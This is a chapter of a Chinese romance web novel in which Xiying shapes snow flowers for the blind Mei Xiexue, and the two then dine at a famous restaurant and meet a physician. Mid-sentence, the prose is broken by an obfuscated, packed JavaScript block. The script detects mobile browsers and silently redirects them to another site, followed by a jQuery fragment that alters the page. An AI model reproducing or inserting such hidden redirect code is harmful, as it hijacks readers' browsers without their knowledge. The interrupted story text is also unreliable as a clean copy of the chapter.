62. 第六十二章 瑞雪
作品:《被瞎子救后成为他的婢女》 冬月十五,玉京里洋洋洒洒地下起雪来。
屋瓦街巷一派银装素裹,大地洁白肃穆,雪花冰冷坚硬又灿烂地飘洒而下,透露出大地生机的消逝。
麻雀在积满雪的树枝上轻轻一跃,树枝一颤,簌簌落下一大片梨花瓣来,它们飞到屋檐下蜷缩着抱团取暖,睁着眼睛看着外头寒冷洁白的雪景。
在它们下方,息影轻轻打开窗,满目晴光映雪,一时间晃了眼,寒冷的风毫不顾忌地窜进来,带起几粒细小的雪粒,息影回头一望,梅谢雪依旧在床上沉睡,眉目沉静,她合上窗,从黄梨木架子上取下白毛斗篷围在身上,轻轻走出门去。
脚踩在松软的雪地上,留下一道道鲜明的足迹,仿佛是干净宣纸上落下的几滴墨水,她走到忍冬丛边,弯腰细看,忍冬耐寒,四季常绿,霜雪冰晶在顽强的叶片上停留厚积,息影突然鬼使神差般地伸手从叶片顶端仔细搓下一片雪来,捧在手心,那是一整片叶的形状。
她将它捧在手心里细看,叶的外轮廓,内里却是雪的松散,时间久了,雪片被她手心的温度融化,成为一摊透明的冰冷的雪水。
她甩甩手,将水甩出去一些,手掌的温度已经被雪带走,她再弯下身子仔细搓下又一片雪叶来,一片一片接着一片,她小心翼翼地将它们按照心中想象的那样堆叠起来,层层叠叠,方向各异,片刻后她的掌心里就多了朵花。
她将花高高捧起,在光线下仔细注视,细小冰晶折射的光亮映入她的瞳孔,引起更加璀璨的光芒,她虔诚地观察,那是经她之手雕凿出的花,虽无生命,却有灵魂。
云周城位于南方,冬季虽冷,却不常下雪,只是寒风过境掀起河流阵阵波涛,鱼儿仍旧摆尾畅游,雪,息影却是见得少,尽管在危星那么多年,出任务也不在少数,可是能看见雪的时候也是稀有,就算是看见了,也因为执行任务的掣肘,不能仔细品味。
之前从苍梧山回到玉京时虽然也下雪了,可是一路的凶险盖过了遇见雪天的激动,回府后也是一片落寞伤怀,雪在那时候不像是单纯的一场景色,而是下在了人的心上。
是以,雪对于她而言,在潜意识里总有种近乎夸张的执拗与渴求。
她将手中的花轻轻缓缓地放在平整的雪地上,转身捏叠了一朵又一朵,地上整整齐齐地排了一排花,一大片的忍冬都在冬日里露出来原本绿色的叶片,在苍茫雪地里绿的突兀。
她玩的有些忘乎所以,屋里的梅谢雪悠悠转醒时息影还在外头,他只能自个儿起身,摸索着穿好衣服,慢慢踱步至门口,悠悠拉开门,耳朵一动,听见脚踩在雪地里的酥酥声。
突然那酥酥声密集起来,由远及近在他面前停下,息影愉悦激动的声音响起,“梅谢雪,下雪了!”
息影冰凉的带着雪水的手一把拽住梅谢雪的手腕,他被凉的一抖,但是也没有挣脱,任由她将自己拉下雪地,雪地上又多了一片凌乱的脚印。
“你伸手。”
梅谢雪乖乖地伸出右手,“怎么了。”
“还有一只,两只手。”息影催促。
梅谢雪又伸出一只手,息影将他的两只手并在一起,“等下哦!”
息影又跑到另一丛忍冬叶边,搓下一片雪,轻轻放在梅谢雪手中,捏了捏形状,然后又取下好几片雪,在梅谢雪手上细细堆叠,不多时梅谢雪的手心就多了一朵雪莲。
息影将雪做成的花挪到他的左手上,然后提起他的手腕,让他轻轻碰那朵易碎的花,“你轻轻摸摸看。”
梅谢雪伸出一根手指,缓缓向左向下,触碰到一片冰凉,那是最底下的一层花瓣,他屏气细触,花瓣簌簌然散落融化,他的手一顿。
息影立马将花取下,“没事,还有好几朵呢!”她又扭头从地下捧起一朵放在他手心,“我做了好多!要多少有多少!”
梅谢雪轻轻感受着雪花经由他手的温度慢慢融化成雪水,小小的溪流在他的手掌纹路间流淌,仿佛是久旱逢甘霖的干裂河床。
梅谢雪微微一笑,“下雪天你这么高兴吗?”
“是呀!”息影扑上去用冰冷的手捧住梅谢雪的脸,他冷的直缩脖子往后退,“我就是很喜欢雪天!”
梅谢雪:“......”
冻死他了。
不过听见息影回荡在雪地里的爽朗笑声,他也很高兴。
“现在是什么时辰了?”梅谢雪问。
“巳时了。”息影远远答道。
“可玩尽兴了?”
息影拍拍手上的雪粒,跑到他身边,偏头看他,“差不多吧,怎么了?”
“收拾收拾,我带你去望仙楼。”
马车辘辘远去,车轮碾着地上的雪而过,在地上留下鲜明不断的两条痕迹,马车外寒风刺骨,车内却温暖如春。
“你怎么想到今天要去望仙楼?”息影放下车帘子,隔绝外部寒气,扭头看着梅谢雪。
“望仙楼之所以为玉京里最为著名的酒楼,除去里面的歌舞升平的景象外,还有最重要的一点,能让它时刻保持新鲜受欢迎,”梅谢雪故意卖了个关子,“你猜猜看是什么?”
“酒楼能这么受欢迎,应该是菜做的好吃吧?”息影猜测,顺带伸出手去拽梅谢雪衣服上的毛。
“是也不是,”梅谢雪一掌拍在息影乱动的手上,“菜好吃是其一,最重要的是望仙楼的东家非常有头脑,在一年里的四个季节都分别推出一道限定的菜肴,既符合节气又稀罕,想看或是想吃的人自然就多了,而且每年的都不同。”
“原来如此,物以稀为贵啊!”息影又伸手去拔梅谢雪衣服上的狐狸毛。
“知道贵还拔!”
马车在望仙楼外徐徐停下,掌柜一看这富贵的马车便知来的是位贵客,一路笑脸将他们迎到了二楼的好位置上。
“今年冬日里出了什么新菜?”梅谢雪问。
那掌柜的一见他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252685|196849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的气度和那双眼睛便知道他是当今梅相,于是非常热心地替他介绍,“回贵客的话,今年冬日啊我们楼里的大厨做出了一道名为冰鳞玉脂脍的菜,乃是从北地那种极寒之地的冰下快马运来的鲟鳇鱼,只取用其脊背处最肥美的部位,切成薄可透光的鱼脍,再配上特制的金齑,那可真是又鲜又美味啊!”这掌柜讲的连自己的口水都要掉下来了。
梅谢雪微微一笑,轻车熟路地吩咐下去,一看便知是从前的常客,“来一道冰鳞玉脂脍,再配上几道你们望仙楼的招牌和佳酿。”
那掌柜满脸堆笑地应下,转身下楼吩咐去了。
息影两只手撑着下巴,眼神在楼里四处打量,一楼的歌舞声袅袅,歌女们舞姿翩翩,确实是歌舞升平,纸醉金迷。
“来这吃饭还真是奢侈啊!”息影不禁感慨。
“是啊,吃一顿我半个府邸都得抵押出去了!”梅谢雪仰天一叹,“好好珍惜吧,有这顿没下顿了!”
息影无所顾忌,“就是要吃穷你!”
等到下面一曲歌舞毕,菜终于陆陆续续地上完了。
息影直勾勾地盯着那盘冰鳞玉脂脍,雪白的鱼脍被精心摆放在碎冰之上,冰雾缭绕,鱼片切的极其薄,晶莹剔透。她先夹了两片到梅谢雪碗里,然后再自己夹起一片放入嘴中,细细品尝后双眼一亮,“好吃!”
梅谢雪听见她上扬的尾音便知道她很满意,于是自己慢悠悠地夹起碗里的菜。
一顿饭吃下来,息影觉得望仙楼能这么受欢迎不是没有道理的,蔬菜类的菜肴,菜又新鲜又脆爽,肉类的菜肉质鲜嫩,像是一些需要炖煮的菜也是香味四溢,软烂入味,总的来说,就是每一道菜都很好吃。
息影摸着自己圆滚滚的肚子,往后靠在椅背上,心满意足道:“好饱!好吃!”
她又往前一探,仿佛做了个深思熟虑的决定,“梅谢雪,要不我们把剩下半个府邸也抵押了吧?”
“行啊,以后我们一起流浪大街。”梅谢雪果断地接受她的提议。
“可以啊,这个我熟。”息影打了个响指,嘴角一勾。
“掌柜的!你们秋天里的那道菜还有没有?”一阵突兀的响亮声音在一楼门口出现。
息影循声望去。
掌柜正抱歉地弯腰,“不好意思啊客官,那道菜只在秋天里有,现下已经到了冬日,那道菜是做不出来了,不过我们冬日里有上新的菜,保证美味,您要不要尝尝?”
那人也没有胡搅蛮缠,“那好吧,就给我来一道你说的那什么菜,然后再来两道肉菜,配一壶你们店里的佳酿!”
“是是是,您稍等!马上给您做!”
梅谢雪对着罗叔招招手,“罗叔,把那个人请上来。”
息影疑惑地盯着梅谢雪,他的嘴边竟然浮起了一抹带着激动的微笑,“那个人是谁啊?”
梅谢雪的声音有一丝颤动,“我父亲的好友——易神医易正初。”

